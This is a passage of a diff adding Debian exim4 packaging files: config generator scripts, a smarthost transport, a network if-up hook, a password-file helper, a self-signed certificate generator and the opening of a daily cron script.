+ ${lookup{$host}nwildlsearch{CONFDIR/passwd.client}{$host_address}}\
+ }\
+ {} \
+ }
+.ifdef REMOTE_SMTP_SMARTHOST_HOSTS_AVOID_TLS
+ hosts_avoid_tls = REMOTE_SMTP_SMARTHOST_HOSTS_AVOID_TLS
+.endif
+.ifdef REMOTE_SMTP_SMARTHOST_HOSTS_REQUIRE_TLS
+ hosts_require_tls = REMOTE_SMTP_SMARTHOST_HOSTS_REQUIRE_TLS
+.endif
+.ifdef REMOTE_SMTP_HEADERS_REWRITE
+ headers_rewrite = REMOTE_SMTP_HEADERS_REWRITE
+.endif
+.ifdef REMOTE_SMTP_RETURN_PATH
+ return_path = REMOTE_SMTP_RETURN_PATH
+.endif
+.ifdef REMOTE_SMTP_HELO_DATA
+ helo_data=REMOTE_SMTP_HELO_DATA
+.endif
+.ifdef TLS_DH_MIN_BITS
+tls_dh_min_bits = TLS_DH_MIN_BITS
+.endif
+.ifdef REMOTE_SMTP_SMARTHOST_TLS_CERTIFICATE
+tls_certificate = REMOTE_SMTP_SMARTHOST_TLS_CERTIFICATE
+.endif
+.ifdef REMOTE_SMTP_SMARTHOST_PRIVATEKEY
+tls_privatekey = REMOTE_SMTP_SMARTHOST_PRIVATEKEY
+.endif
diff --git a/debian/debconf/conf.d/transport/35_exim4-config_address_directory b/debian/debconf/conf.d/transport/35_exim4-config_address_directory
new file mode 100644
index 0000000..6861426
--- /dev/null
+++ b/debian/debconf/conf.d/transport/35_exim4-config_address_directory
@@ -0,0 +1,14 @@
+# This transport is used for handling file addresses generated by alias
+# or .forward files if the path ends in "/", which causes it to be treated
+# as a directory name rather than a file name.
+
+address_directory:
+ debug_print = "T: address_directory for $local_part@$domain"
+ driver = appendfile
+ delivery_date_add
+ envelope_to_add
+ return_path_add
+ check_string = ""
+ escape_string = ""
+ maildir_format
+
diff --git a/debian/debconf/update-exim4.conf b/debian/debconf/update-exim4.conf
new file mode 100644
index 0000000..084af7f
--- /dev/null
+++ b/debian/debconf/update-exim4.conf
@@ -0,0 +1,484 @@
+#!/bin/sh
+# update-exim4.conf(8) - Generate /var/lib/exim4/config.autogenerated
+
+set -e
+set -C
+set -f
+
+UPEX4C_confdir="/etc/exim4"
+UPEX4C_sections="main acl router transport retry rewrite auth"
+
+# list of ue4cc options that need to support both colons and
+# semicolons as separators. dc_other_hostnames and dc_smarthost
+# has special handling.
+UPEX4C_semicolon="dc_local_interfaces dc_relay_nets dc_relay_domains"
+EXIM="/usr/sbin/exim4"
+
+UPEX4C_verbose=no
+UPEX4C_autoconfigfile=/var/lib/exim4/config.autogenerated
+UPEX4C_outputfile="${UPEX4C_autoconfigfile}"
+UPEX4C_version=""
+
+usage() {
+cat <<EOF
+$0 - Generate exim4 configuration files
+ Options:
+ -v|--verbose - Enable verbose mode, tell about ignored files
+ -h|--help - Show this message
+ --keepcomments - Do not remove comment lines
+ --removecomments - Remove comment lines
+ -o|--output file - write output to file instead of ${UPEX4C_outputfile}
+ -d|--confdir directory - read input from given directory instead of ${UPEX4C_confdir}
+ --check - Test generated file for validity and remove it again.
+EOF
+}
+
+## Parse commandline
+TEMP=$(getopt -n update-exim4.conf \
+ -l check,keepcomments,removecomments,output:,confdir:,help,verbose -- \
+ +o:d:vh "$@")
+
+if test "$?" != 0; then
+ echo "Terminating..." >&2
+ exit 1
+fi
+
+eval set -- ${TEMP}
+while test "$1" != "--"; do
+ case $1 in
+ -h|--help)
+ usage
+ exit 0
+ ;;
+ -v|--verbose)
+ UPEX4C_verbose=yes
+ ;;
+ --keepcomments)
+ UPEX4C_comments=yes
+ ;;
+ --removecomments)
+ UPEX4C_comments=no
+ ;;
+ --check)
+ UPEX4C_check=yes
+ ;;
+ -o|--output)
+ shift
+ UPEX4C_outputfile="$1"
+ ;;
+ -d|--confdir)
+ shift
+ UPEX4C_confdir="$1"
+ ;;
+ esac
+ shift
+done
+shift
+
+# No non-option arguments allowed.
+if [ "$#" -ne 0 ]; then
+ echo "No non option arguments ($@) allowed" >&2
+ usage >&2
+ exit 1
+fi
+
+# exit immediately if /etc/exim4/exim4.conf exists and -o was not specified
+if [ -e /etc/exim4/exim4.conf ] && \
+ [ "${UPEX4C_outputfile}" = "${UPEX4C_autoconfigfile}" ] ; then
+ exit 0
+fi
+
+UE4CC="$UPEX4C_confdir/update-exim4.conf.conf"
+UPEX4C_confd="$UPEX4C_confdir/conf.d"
+
+[ -d "$(dirname "$UPEX4C_outputfile")" ] || \
+{ printf "$0: Error, missing $(dirname "$UPEX4C_outputfile"), exiting.\n" 1>&2 ; exit 1 ; }
+
+if [ -f "$UE4CC" ]; then
+ . "$UE4CC"
+else
+ echo >&2 "$0: Error, no $UE4CC, exiting."
+ exit 1
+fi
+
+
+UPEX4C_autoconfigfile=/var/lib/exim4/config.autogenerated
+if [ "$(dirname ${UPEX4C_outputfile})" = "/var/lib/exim4" ] ; then
+ UPEX4C_tmp="${UPEX4C_outputfile}.tmp"
+else
+ UPEX4C_tmp="$(tempfile -m600 -p ex4)"
+fi
+
+lowerpipe() {
+ tr 'A-Z' 'a-z'
+}
+
+lowercase() {
+ echo "$*" | lowerpipe
+}
+
+check_ascii_pipe() {
+ IN="$(cat)"
+ # Use "abcdef... instead of a a-z or [:alnum:] here since the alternatives
+ # will also match non-ascii characters.
+ OUT="$(echo $IN | sed 's/[^-0-9ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\/\.!*@_~:;< \[\]]/_/g')"
+ if [ "$OUT" != "$IN" ]; then
+ echo >&2 "$0: non-ascii value $IN read from $UE4CC, sanitizing to $OUT"
+ fi
+ echo $OUT
+}
+
+[ "${CFILEMODE}" = "" ] && CFILEMODE=644
+[ "${dc_use_split_config}" = "" ] && dc_use_split_config='false'
+[ "${dc_localdelivery}" = "" ] && dc_localdelivery='mail_spool'
+[ "${UPEX4C_comments:-}" = "" ] && UPEX4C_comments="${ue4c_keepcomments:-no}"
+
+TEMPLATEFILE="${UPEX4C_confdir}/exim4.conf.template"
+
+dc_use_split_config="$(lowercase $dc_use_split_config)"
+UPEX4C_verbose="$(lowercase $UPEX4C_verbose)"
+
+if [ "${dc_use_split_config}" = "true" ]; then
+ [ "${UPEX4C_verbose}" = "yes" ] && \
+ echo "using split configuration scheme from ${UPEX4C_confd}"
+ if ! [ -d "${UPEX4C_confd}" ]; then
+ printf >&2 "$0: Error, no ${UPEX4C_confd}, exiting.\n"
+ exit 1
+ fi
+else
+ [ "${UPEX4C_verbose}" = "yes" ] && \
+ echo "using non-split configuration scheme from ${TEMPLATEFILE}"
+fi
+
+# take only the first word from /etc/mailname
+mailname="$(< /etc/mailname sed -n 's/\([-[:alnum:]@\.]\+\).*/\1/;p;q' | lowerpipe | check_ascii_pipe)"
+
+# barf if lookups are found. They have never been supported here.
+if echo " ${dc_other_hostnames} ${dc_smarthost} ${dc_local_interfaces} ${dc_relay_nets} ${dc_relay_domains}"| grep -q '[[:space:]]\(partial-\)\?\(cdb\|dbm\|dbmnz\|\(d\|ipl\|\(n\?wild\)\?l\)search\|nis\)\([\*@]\)\?[[:space:]]*;'; then
+ echo >&2 "WARNING: using 'lookup;' constructs in $UE4CC has never been supported! See /usr/share/doc/exim4-config/NEWS.Debian.gz for details."
+fi
+
+dc_other_hostnames="$(lowercase $dc_other_hostnames | check_ascii_pipe)"
+# add localhost, get rid of spaces, trailing (semi)colons and make the list
+# colon separated
+local_domains="$(echo @:localhost:"${dc_other_hostnames}" | \
+ sed -e 's/[;: ]*$//' -e 's/ *//' -e 's/;/:/g')"
+
+
+# run-parts emulation, stolen from Branden's /etc/X11/Xsession
+# Addition: Use file.rul instead if file if it exists.
+run_parts () {
+ # reset LC_COLLATE
+ unset LANG LC_COLLATE LC_ALL
+
+ if [ -z "$1" ]; then
+ errormessage "$0: internal run_parts called without an argument"
+ fi
+ if [ ! -d "$1" ]; then
+ errormessage "$0: internal run_parts called, but $1 does not exist or is not a directory."
+ fi
+ for F in $(ls $1); do
+ if expr "$F" : '[[:alnum:]_-]\+$' > /dev/null 2>&1; then
+ if [ -f "$1/$F" ] ; then
+ if [ -f "$1/${F}.rul" ] ; then
+ echo "$1/${F}.rul"
+ else
+ echo "$1/$F"
+ fi
+ fi
+ else
+ if [ "${UPEX4C_verbose}" = "yes" ] && \
+ [ -f "$1/$F" ] && \
+ ! expr "$F" : '[[:alnum:]_-]\+\.rul'> /dev/null 2>&1 ; then
+ echo \
+ "internal run-parts: ignoring file: $1/$F" 1>&2
+ fi
+ fi
+ done;
+}
+# also from Branden
+errormessage () {
+ # pretty-print messages of arbitrary length (no trailing newline)
+ echo "$*" | fold -s -w ${COLUMNS:-80} >&2;
+}
+
+cat_parts() {
+ if [ -z "$1" ]; then
+ errormessage "$0: internal cat_parts called without an argument"
+ fi
+ if [ ! -d "$1" ]; then
+ errormessage "$0: internal cat_parts called, but $1 does not exist or is not a directory."
+ fi
+ for file in $(run_parts $1); do
+ echo "#####################################################"
+ echo "### $file"
+ echo "#####################################################"
+ cat "$file"
+ echo
+ echo "#####################################################"
+ echo "### end $file"
+ echo "#####################################################"
+ done
+}
+
+gentmpconf() {
+ rm -f "${UPEX4C_tmp}"
+ touch "${UPEX4C_tmp}"
+ # this can be removed by the end of 2007
+ #chown --reference=${TEMPLATEFILE} \
+ # ${UPEX4C_tmp} ${UPEX4C_outputfile}
+ #chmod --reference=${TEMPLATEFILE} \
+ # ${UPEX4C_tmp} ${UPEX4C_outputfile}
+ if [ "$(id -u)" = "0" ]; then
+ chown root:Debian-exim "${UPEX4C_tmp}"
+ [ -e "${UPEX4C_outputfile}" ] && \
+ chown root:Debian-exim "${UPEX4C_outputfile}"
+ fi
+ chmod 640 "${UPEX4C_tmp}"
+ if [ -e "${UPEX4C_outputfile}" ]; then
+ chmod 640 "${UPEX4C_outputfile}"
+ fi
+}
+
+removecomments(){
+ if [ "${UPEX4C_comments}" = "no" ] ; then
+ grep -E -v '^[[:space:]]*#' | sed -e '/^$/N;/\n$/D' ;
+ else
+ cat
+ fi
+}
+
+gentmpconf
+
+cat << EOF >> "${UPEX4C_tmp}"
+#########
+# WARNING WARNING WARNING
+# WARNING WARNING WARNING
+# WARNING WARNING WARNING
+# WARNING WARNING WARNING
+# WARNING WARNING WARNING
+# This file was generated dynamically from
+EOF
+
+if [ "${dc_use_split_config}" = "true" ] ; then
+cat << EOF >> "${UPEX4C_tmp}"
+# split config files in the $UPEX4C_confd/ directory.
+EOF
+else
+cat << EOF >> "${UPEX4C_tmp}"
+# non-split config ($UPEX4C_confdir/exim4.conf.localmacros
+# and $UPEX4C_confdir/exim4.conf.template).
+EOF
+fi
+
+cat << EOF >> "${UPEX4C_tmp}"
+# The config files are supplemented with package installation/configuration
+# settings managed by debconf. This data is stored in
+# $UPEX4C_confdir/update-exim4.conf.conf
+# Any changes you make here will be lost.
+# See /usr/share/doc/exim4-base/README.Debian.gz and update-exim4.conf(8)
+# for instructions of customization.
+# WARNING WARNING WARNING
+# WARNING WARNING WARNING
+# WARNING WARNING WARNING
+# WARNING WARNING WARNING
+# WARNING WARNING WARNING
+#########
+EOF
+
+# handle ";" in input values as separator change
+
+for field in $UPEX4C_semicolon; do
+ if eval echo \$$field | grep -q ";"; then
+ eval temp=\$$field
+ if ! echo $temp | grep -q "^<"; then
+ temp="<; $temp"
+ eval "$field='$temp'"
+ fi
+ fi
+done
+
+# fix up smarthost line: change semicolons into single colons
+dc_smarthost="$(lowercase $dc_smarthost | check_ascii_pipe | sed 's/;/:/g')"
+
+dc_relay_nets="$(lowercase $dc_relay_nets | check_ascii_pipe)"
+
+if echo "$dc_relay_nets" | grep -q '^<;'; then
+ dc_relay_nets="$dc_relay_nets ; 127.0.0.1 ; ::1"
+else
+ dc_relay_nets="$dc_relay_nets : 127.0.0.1 : ::::1"
+fi
+
+dc_eximconfig_configtype="$(lowercase $dc_eximconfig_configtype | check_ascii_pipe)"
+dc_hide_mailname="$(lowercase $dc_hide_mailname | check_ascii_pipe)"
+dc_readhost="$(lowercase $dc_readhost | check_ascii_pipe)"
+case "$dc_eximconfig_configtype" in
+ satellite|smarthost)
+ if [ "${dc_hide_mailname}" = "true" ] && [ -n "${dc_readhost}" ] ; then
+ hide_mailname=1
+ fi
+ ;;
+ local)
+ ;;
+ internet)
+ ;;
+ none|*)
+ if [ "${dc_use_split_config}" = "true" ] ; then
+ for i in ${UPEX4C_sections} ; do
+ cat_parts "${UPEX4C_confd}/$i"
+ done | \
+ removecomments \
+ >> "${UPEX4C_tmp}"
+ else
+ LOCALMACROS=""
+ if [ -e "/etc/exim4/exim4.conf.localmacros" ]; then
+ LOCALMACROS="/etc/exim4/exim4.conf.localmacros"
+ fi
+ cat "${LOCALMACROS:-/dev/null}" "${TEMPLATEFILE:-/dev/null}" | \
+ removecomments \
+ >> "${UPEX4C_tmp}"
+ fi
+ mv -f "${UPEX4C_tmp}" "${UPEX4C_outputfile}"
+ chmod "${CFILEMODE}" "${UPEX4C_outputfile}"
+ [ "${UPEX4C_verbose}" = "yes" ] && \
+ echo "Not substituting variables since conftype is none (or other)"
+ exit 0
+ ;;
+esac
+
+UPEX4C_macros="##############################################\n"
+UPEX4C_macros="${UPEX4C_macros}# the following macro definitions were created\n"
+UPEX4C_macros="${UPEX4C_macros}# dynamically by $0\n"
+
+preprocess_macro() {
+ macroname="${1:-}"
+ shift
+ contents="$(lowercase ${@} | check_ascii_pipe)"
+ printf "%s" ".ifndef $macroname\n$macroname=$contents\n.endif\n"
+}
+
+seed_macro() {
+ UPEX4C_macros="${UPEX4C_macros}$(preprocess_macro "$1" "$2")"
+}
+
+file2macros() {
+ file="$1"
+ < $1 \
+ sed -n '/^[[:upper:]]/p;' | \
+ grep -v '^CFILEMODE=' | \
+ while read line; do
+ errormessage "undocumented line $line found in $1, generating exim macro"
+ left="$(echo $line | sed 's/\([^=]*\).*/\1/')"
+ right="$(echo $line | sed 's/[^=]*=\(.*\)/\1/')"
+ preprocess_macro "$left" "$right"
+ done
+}
+
+if [ "${dc_local_interfaces}" != "" ] ; then
+ seed_macro "MAIN_LOCAL_INTERFACES" "${dc_local_interfaces}"
+fi
+
+if [ "${dc_minimaldns}" = "true" ] ; then
+ seed_macro "DC_minimaldns" "1"
+ if guessed_name="$(hostname --fqdn | lowerpipe | check_ascii_pipe | grep '\.')" ; then
+ seed_macro "MAIN_HARDCODE_PRIMARY_HOSTNAME" "$guessed_name"
+ else
+ errormessage "hostname --fqdn did not return a fully qualified name, dc_minimaldns will not work. Please fix your /etc/hosts setup."
+ fi
+fi
+
+if [ -n "${hide_mailname:-}" ]; then
+ seed_macro "HIDE_MAILNAME" "${hide_mailname:-}"
+fi
+seed_macro "MAIN_PACKAGE_VERSION" "$UPEX4C_version"
+seed_macro "MAIN_LOCAL_DOMAINS" "${local_domains}"
+seed_macro "MAIN_RELAY_TO_DOMAINS" "${dc_relay_domains}"
+seed_macro "ETC_MAILNAME" "$mailname"
+seed_macro "LOCAL_DELIVERY" "${dc_localdelivery}"
+seed_macro "MAIN_RELAY_NETS" "${dc_relay_nets}"
+seed_macro "DCreadhost" "${dc_readhost}"
+seed_macro "DCsmarthost" "${dc_smarthost}"
+seed_macro "DC_eximconfig_configtype" "${dc_eximconfig_configtype}"
+seed_macro "DCconfig_${dc_eximconfig_configtype}" "1"
+
+# dump everything starting with a capital into macros as well
+# this is going to stay undocumented, but fixes PEBCAK where people write
+# macros into ue4cc.
+
+UPEX4C_macros="${UPEX4C_macros}$(file2macros $UE4CC)"
+
+UPEX4C_macros="${UPEX4C_macros}##############################################\n"
+
+case "${dc_use_split_config}" in
+true)
+ for i in ${UPEX4C_sections} ; do
+ echo "# begin processing $i #####"
+ cat_parts "${UPEX4C_confd}/$i"
+ echo "# end of $i #####"
+ done \
+ | removecomments \
+ | sed "s|^\(UPEX4CmacrosUPEX4C.*\)$|\1\n$UPEX4C_macros|" \
+ >> "${UPEX4C_tmp}"
+ RELEVANTTEMPLATE="$UPEX4C_confd"
+;;
+false)
+ if [ ! -r "$TEMPLATEFILE" ] ; then
+ echo "Error: Unsplit config selected and $TEMPLATEFILE missing ... exiting" 1>&2
+ exit 1
+ fi
+ LOCALMACROS=""
+ if [ -e "/etc/exim4/exim4.conf.localmacros" ]; then
+ LOCALMACROS="${UPEX4C_confdir}/exim4.conf.localmacros"
+ fi
+ cat "${LOCALMACROS:-/dev/null}" "${TEMPLATEFILE:-/dev/null}" \
+ | removecomments \
+ | sed "s|^\(UPEX4CmacrosUPEX4C.*\)$|\1\n$UPEX4C_macros|" \
+ >> "${UPEX4C_tmp}"
+ RELEVANTTEMPLATE="$TEMPLATEFILE"
+;;
+*)
+ errormessage "Invalid value for dc_use_split_config: \"${dc_use_split_config}\", exiting."
+ rm -f "${UPEX4C_tmp}"
+ exit 1
+;;
+esac
+
+# check for left-over DEBCONF strings that may cause installation trouble
+# (fix PEBCAK for people who don't accept conffile changes and don't
+# read docs)
+if grep -qr '^[^#]*DEBCONF[[:lower:]_]\+DEBCONF' $RELEVANTTEMPLATE \
+ && ! grep -qr '^[[:space:]]*DEBCONFstringOK_config_adapted[[:space:]]*=' $RELEVANTTEMPLATE; then
+ errormessage "DEBCONFsomethingDEBCONF found in exim configuration. This is most probably caused by you upgrading to exim4 4.67-3 or later without accepting the suggested conffile changes. Please read /usr/share/doc/exim4-config/NEWS.Debian.gz for 4.67-2 and 4.67-4"
+fi
+
+# check for left-over UPEX4CmacrosUPEX4C comment string that may cause
+# installation trouble (fix PEBCAK for people who don't accept conffile
+# changes and don't read docs)
+if grep -qr '# UPEX4CmacrosUPEX4C' $RELEVANTTEMPLATE \
+ && ! grep -qr '^[[:space:]]*UPEX4CmacrosOK_config_adapted[[:space:]]*=' $RELEVANTTEMPLATE; then
+ errormessage "UPEX4CmacrosUPEX4C found in an exim configuration comment. This is most probably caused by you upgrading to exim4 4.67-5 or later without accepting the suggested conffile changes. Please read /usr/share/doc/exim4-config/NEWS.Debian.gz for 4.67-5"
+fi
+
+
+# test validity if called without -o or if --check was supplied
+if [ "${UPEX4C_outputfile}" = "${UPEX4C_autoconfigfile}" ] || \
+ [ "x${UPEX4C_check}" = "xyes" ]; then
+ if [ -x "${EXIM}" ] ; then
+ if ! "${EXIM}" -C "${UPEX4C_tmp}" -bV > /dev/null ; then
+ # we have an error in the configuration file. Do not install
+ # and activate. However, errors in string expansions inside
+ # the configuration file are not detected by this check!
+ errormessage "Invalid new configfile ${UPEX4C_tmp}, not installing ${UPEX4C_tmp} to ${UPEX4C_outputfile}"
+ exit 1
+ fi
+ fi
+fi
+if [ "x${UPEX4C_check}" = "xyes" ]; then
+ rm -f "${UPEX4C_tmp}"
+ exit 0
+fi
+
+mv -f "${UPEX4C_tmp}" "${UPEX4C_outputfile}"
+chmod "${CFILEMODE}" "${UPEX4C_outputfile}"
+
+# end of file
diff --git a/debian/debconf/update-exim4.conf.template b/debian/debconf/update-exim4.conf.template
new file mode 100755
index 0000000..6255dda
--- /dev/null
+++ b/debian/debconf/update-exim4.conf.template
@@ -0,0 +1,139 @@
+#!/bin/bash
+
+set -e
+
+CONFDIR="${CONFDIR:-/etc/exim4}"
+DONOTRUN='true'
+
+UPEX4CT_outputfile="${CONFDIR}/exim4.conf.template"
+
+usage() {
+cat <<EOF
+$0 - Generate exim4 configuration file template
+ Options:
+ -n|--nobackup - Overwrite old template, do not take backup.
+ -o|--output file - write output to file instead of ${UPEX4CT_outputfile}
+ -h|--help - This message.
+ -r|--run - Actually do something
+EOF
+}
+
+## Parse commandline
+TEMP=$(getopt -n update-exim4.conf.template \
+ -l nobackup,output:,help,run -- \
+ +no:hr "$@")
+
+if test "$?" != 0; then
+ echo "Terminating..." >&2
+ exit 1
+fi
+
+eval set -- ${TEMP}
+while test "$1" != "--"; do
+ case $1 in
+ -h|--help)
+ usage
+ exit 0
+ ;;
+ -o|--output)
+ shift
+ UPEX4CT_outputfile="$1"
+ ;;
+ -n|--nobackup)
+ NOBACKUP=1
+ ;;
+ -r|--run)
+ DONOTRUN='false'
+ ;;
+ esac
+ shift
+done
+shift
+
+# No non-option arguments allowed.
+if [ "$#" -ne 0 ]; then
+ echo "No non option arguments ($@) allowed" >&2
+ usage >&2
+ exit 1
+fi
+
+# run-parts emulation, stolen from Branden's /etc/X11/Xsession
+# Addition: Use file.rul instead if file if it exists.
+run_parts () {
+ # reset LC_COLLATE
+ unset LANG LC_COLLATE LC_ALL
+
+ if [ -z "$1" ]; then
+ errormessage "$0: internal run_parts called without an argument"
+ fi
+ if [ ! -d "$1" ]; then
+ errormessage "$0: internal run_parts called, but $1 does not exist or is not a directory."
+ fi
+ for F in $(ls $1 | grep -v /.svn); do
+ if expr "$F" : '[[:alnum:]_-]\+$' > /dev/null 2>&1; then
+ if [ -f "$1/$F" ] ; then
+ if [ -f "$1/${F}.rul" ] ; then
+ echo "$1/${F}.rul"
+ else
+ echo "$1/$F"
+ fi
+ fi
+ fi
+ done;
+}
+# also from Branden
+errormessage () {
+ # pretty-print messages of arbitrary length (no trailing newline)
+ echo "$*" | fold -s -w ${COLUMNS:-80} >&2;
+}
+
+cat_parts() {
+ if [ -z "$1" ]; then
+ errormessage "$0: internal cat_parts called without an argument"
+ fi
+ if [ ! -d "$1" ]; then
+ errormessage "$0: internal cat_parts called, but $1 does not exist or is not a directory."
+ fi
+ for file in $(run_parts $1); do
+ echo "#####################################################"
+ echo "### $file"
+ echo "#####################################################"
+ cat $file
+ echo "#####################################################"
+ echo "### end $file"
+ echo "#####################################################"
+ done
+}
+
+if [ "$DONOTRUN" = "true" ]; then
+ errormessage "This program overwrites conffiles. Do not run unless you have consulted the manpage." >&2
+ echo "Terminating..." >&2
+ exit 1
+fi
+
+
+if [ -e "${UPEX4CT_outputfile}" ] && [ -z "$NOBACKUP" ]; then
+ if [ -e "${UPEX4CT_outputfile}.bak.$$" ]; then
+ echo >&2 "ERR: ${UPEX4CT_outputfile}.bak.$$ already exists, aborting"
+ exit 1
+ fi
+fi
+
+NEWTEMPLATE=$(tempfile -m644 -p ex4)
+if [ -f "${UPEX4CT_outputfile}" ] ; then
+ chmod --reference="${UPEX4CT_outputfile}" "$NEWTEMPLATE"
+fi
+
+# generate .template. Ugly - better alternative?
+SAVEWD="$(pwd)"
+cd ${CONFDIR}/conf.d
+for i in main acl router transport retry rewrite auth ; do
+ cat_parts $i
+done > "$NEWTEMPLATE"
+cd "$SAVEWD"
+
+if [ -e "${UPEX4CT_outputfile}" ] && [ -z "$NOBACKUP" ] ; then
+ mv "${UPEX4CT_outputfile}" \
+ "${UPEX4CT_outputfile}.bak.$$"
+fi
+mv "$NEWTEMPLATE" "${UPEX4CT_outputfile}"
diff --git a/debian/e-n-if-up b/debian/e-n-if-up
new file mode 100644
index 0000000..f2bc72e
--- /dev/null
+++ b/debian/e-n-if-up
@@ -0,0 +1,37 @@
+#!/bin/bash
+
+# put this file in /etc/network/if-up.d/exim4-smarthost
+# add an exim4-smarthost smtp.server.example.com::587 line to your interface
+# stanza in /etc/network/interfaces
+
+# this will only work for split config, since in non-split config we
+# only have a single file which is included and which would need more
+# serious string processing to alter. With split config, we can blindly
+# overwrite our previous file.
+
+# Environment:
+# MODE = { start | stop }
+# IF_EXIM4_SMARTHOST = hostname[::port]
+
+SMARTHOSTFILE="/etc/exim4/conf.d/main/00_local_DCsmarthost"
+
+if [ -z "$IF_EXIM4_SMARTHOST" ]; then
+ exit 0
+fi
+
+if [ "$MODE" = 'stop' ]; then
+ rm -f $SMARTHOSTFILE
+ invoke exim4 reload > /dev/null || true
+ exit 0
+fi
+
+if [ "$IF_EXIM4_SMARTHOST" = "none" ]; then
+ rm -f $SMARTHOSTFILE
+ invoke exim4 reload > /dev/null || true
+ exit 0
+fi
+
+echo "DCsmarthost = ${IF_EXIM4_SMARTHOST}" > $SMARTHOSTFILE
+
+invoke exim4 reload > /dev/null || true
+/usr/sbin/exim4 -qqf
diff --git a/debian/email-addresses b/debian/email-addresses
new file mode 100644
index 0000000..8e4f2cb
--- /dev/null
+++ b/debian/email-addresses
@@ -0,0 +1,9 @@
+# This is /etc/email-addresses. It is part of the exim package
+#
+# This file contains email addresses to use for outgoing mail. Any local
+# part not in here will be qualified by the system domain as normal.
+#
+# It should contain lines of the form:
+#
+#user: someone@isp.com
+#otheruser: someoneelse@anotherisp.com
diff --git a/debian/example.conf.md5 b/debian/example.conf.md5
new file mode 100644
index 0000000..e7ee18b
--- /dev/null
+++ b/debian/example.conf.md5
@@ -0,0 +1 @@
+321b32be071eee7394d7884f9471e6bd -
diff --git a/debian/exim-adduser b/debian/exim-adduser
new file mode 100755
index 0000000..8561998
--- /dev/null
+++ b/debian/exim-adduser
@@ -0,0 +1,52 @@
+#!/usr/bin/perl
+
+# Stitched together by Andreas Metzler, really too trivial to be copyrightable.
+
+use strict;
+use warnings;
+my $user;
+my $passwd;
+my $file;
+my $rand;
+
+if (@ARGV == 0) {
+ $file="/etc/exim4/passwd";
+} else {
+ $file=$ARGV[0];
+}
+
+open(PWDFILE,">>$file") || die("Couldn't append to file '$file': $!");
+
+print "User: ";
+chop($user = <STDIN>);
+print "Password: ";
+chop($passwd = <STDIN>);
+
+$rand = join '', ('.', '/', 0..9, 'A'..'Z', 'a'..'z')[rand 64, rand 64, rand 64, rand 64];
+print PWDFILE $user . ":" . crypt($passwd, q{$1$} . $rand . q{$}) . ":" . $passwd . "\n";
+close(PWDFILE);
+
+__END__
+
+=head1 NAME
+
+exim-adduser - Add username/password to exim password-file.
+
+=head1 USAGE
+
+exim-adduser [filename]
+
+exim-adduser prompts for username and password and adds
+
+username:crypted-password:cleartext-password
+
+to the given file, if no filename is given /etc/exim4/passwd is used.
+
+=head1 BUGS
+
+Probably many, this really is just example code.
+
+=head1 SEE ALSO
+
+/usr/share/doc/exim4-base/*,
+exim4(8)
diff --git a/debian/exim-gencert b/debian/exim-gencert
new file mode 100755
index 0000000..894e9da
--- /dev/null
+++ b/debian/exim-gencert
@@ -0,0 +1,78 @@
+#!/bin/sh -e
+
+if [ -n "$EX4DEBUG" ]; then
+ echo "now debugging $0 $@"
+ set -x
+fi
+
+DIR=/etc/exim4
+CERT=$DIR/exim.crt
+KEY=$DIR/exim.key
+
+# This exim binary was built with GnuTLS which does not support dhparams
+# from a file. See /usr/share/doc/exim4-base/README.Debian.gz
+#DH=$DIR/exim.dhparam
+
+if ! which openssl > /dev/null ;then
+ echo "$0: openssl is not installed, exiting" 1>&2
+ exit 1
+fi
+
+# valid for three years
+DAYS=1095
+
+if [ "$1" != "--force" ] && [ -f $CERT ] && [ -f $KEY ]; then
+ echo "[*] $CERT and $KEY exists!"
+ echo " Use \"$0 --force\" to force generation!"
+ exit 0
+fi
+
+if [ "$1" = "--force" ]; then
+ shift
+fi
+
+#SSLEAY=/tmp/exim.ssleay.$$.cnf
+SSLEAY="$(tempfile -m600 -pexi)"
+
+cat > $SSLEAY <<EOM
+RANDFILE = $HOME/.rnd
+[ req ]
+default_bits = 2048
+default_keyfile = exim.key
+distinguished_name = req_distinguished_name
+[ req_distinguished_name ]
+countryName = Country Code (2 letters)
+countryName_default = US
+countryName_min = 2
+countryName_max = 2
+stateOrProvinceName = State or Province Name (full name)
+localityName = Locality Name (eg, city)
+organizationName = Organization Name (eg, company; recommended)
+organizationName_max = 64
+organizationalUnitName = Organizational Unit Name (eg, section)
+organizationalUnitName_max = 64
+commonName = Server name (eg. ssl.domain.tld; required!!!)
+commonName_max = 64
+emailAddress = Email Address
+emailAddress_max = 40
+EOM
+
+echo "[*] Creating a self signed SSL certificate for Exim!"
+echo " This may be sufficient to establish encrypted connections but for"
+echo " secure identification you need to buy a real certificate!"
+echo " "
+echo " Please enter the hostname of your MTA at the Common Name (CN) prompt!"
+echo " "
+
+openssl req -config $SSLEAY -x509 -newkey rsa:2048 -keyout $KEY -out $CERT -days $DAYS -nodes
+#see README.Debian.gz*# openssl dhparam -check -text -5 512 -out $DH
+rm -f $SSLEAY
+
+chown root:Debian-exim $KEY $CERT $DH
+chmod 640 $KEY $CERT $DH
+
+echo "[*] Done generating self signed certificates for exim!"
+echo " Refer to the documentation and example configuration files"
+echo " over at /usr/share/doc/exim4-base/ for an idea on how to enable TLS"
+echo " support in your mail transfer agent."
+
diff --git a/debian/exim4-base.config b/debian/exim4-base.config
new file mode 100644
index 0000000..39a95fc
--- /dev/null
+++ b/debian/exim4-base.config
@@ -0,0 +1,15 @@
+#!/bin/sh
+set -e
+
+. /usr/share/debconf/confmodule
+
+if [ -n "$EX4DEBUG" ]; then
+ echo "now debugging $0 $@"
+ set -x
+fi
+
+if [ "reconfigure" = "$1" ]; then
+ db_beginblock
+ db_input low exim4-base/drec || [ "$?" = "30" ]
+ db_go
+fi
diff --git a/debian/exim4-base.cron.daily b/debian/exim4-base.cron.daily
new file mode 100644
index 0000000..9ee4140
--- /dev/null
+++ b/debian/exim4-base.cron.daily
@@ -0,0 +1,105 @@
+#!/bin/sh
+
+if [ -n "$EX4DEBUG" ]; then
+ echo "now debugging $0 $@"
+ set -x
+fi
+
+
+# set this to some other value if you don't want the panic log to be
+# watched by this script, for example when you're using your own log
+# checking mechanisms or don't care.
+
+E4BCD_DAILY_REPORT_TO=""
+E4BCD_DAILY_REPORT_OPTIONS=""
+E4BCD_WATCH_PANICLOG="yes"
+# Number of lines of paniclog quoted in warning email.
+E4BCD_PANICLOG_LINES="10"
+E4BCD_PANICLOG_NOISE=""
+
+# Only do anything if exim4 is actually installed
+if [ ! -x /usr/lib/exim4/exim4 ]; then
+ exit 0
+fi
+
+[ -f /etc/default/exim4 ] && . /etc/default/exim4
+
+SPOOLDIR="$(exim4 -bP spool_directory | sed 's/.*=[[:space:]]\(.*\)/\1/')"
+
